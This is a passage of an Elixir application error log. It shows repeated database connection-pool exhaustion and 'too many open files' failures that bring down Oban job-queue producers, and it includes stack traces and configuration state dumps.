"webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.260353>, refresh_timer: #Reference<0.2525715032.1099169794.260351>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:03:41.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1050ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:03:29.244896Z], limit: 10, uuid: "d985b591-f2c4-4173-8e27-45c36447c70e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:03:29.244901Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.260356>, refresh_timer: #Reference<0.2525715032.1068236804.250149>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:03:41.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1046ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:03:29.244375Z], limit: 3, uuid: "d9bd36e2-d29b-4b1f-a193-4a3e6f555883", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:03:29.244381Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.105259>, refresh_timer: #Reference<0.2525715032.1121189889.105251>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:03:41.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1035ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:03:29.239242Z], limit: 50, uuid: "fd09c508-1ba2-4b19-9ce9-4a3d2eeadbb5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:03:29.239249Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.260355>, refresh_timer: #Reference<0.2525715032.1077411843.234455>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:03:41.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1005ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:03:29.243221Z], limit: 20, uuid: "d5c84206-63d1-45cd-91c3-e784d3d839ce", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:03:29.243225Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.260352>, refresh_timer: #Reference<0.2525715032.1099169794.260323>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:03:41.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 879ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:03:29.243036Z], limit: 5, uuid: "f81b9e83-aaa5-4bcf-8137-a5fd7d02415a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:03:29.243043Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.260354>, refresh_timer: #Reference<0.2525715032.1099169794.260321>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:03:41.598000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:03:47.547000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:03:48.240000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:03:51.279000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:03:51.903000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:03:52.770000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:03:53.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1019ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:03:41.238912Z], limit: 3, uuid: "12a17890-9859-4bf4-b094-3036ac8af2eb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:03:41.238917Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.105561>, refresh_timer: #Reference<0.2525715032.1121189889.105482>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:03:53.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1013ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:03:41.238323Z], limit: 5, uuid: "24756fdd-263f-43d2-adca-d502fe8c9819", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:03:41.238329Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.105564>, refresh_timer: #Reference<0.2525715032.1068236804.250344>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:03:53.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1020ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:03:41.240737Z], limit: 50, uuid: "e39fb153-0a70-434b-93d3-28442cbb2a09", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:03:41.240744Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.105560>, refresh_timer: #Reference<0.2525715032.1121189889.105520>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:03:53.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1086ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
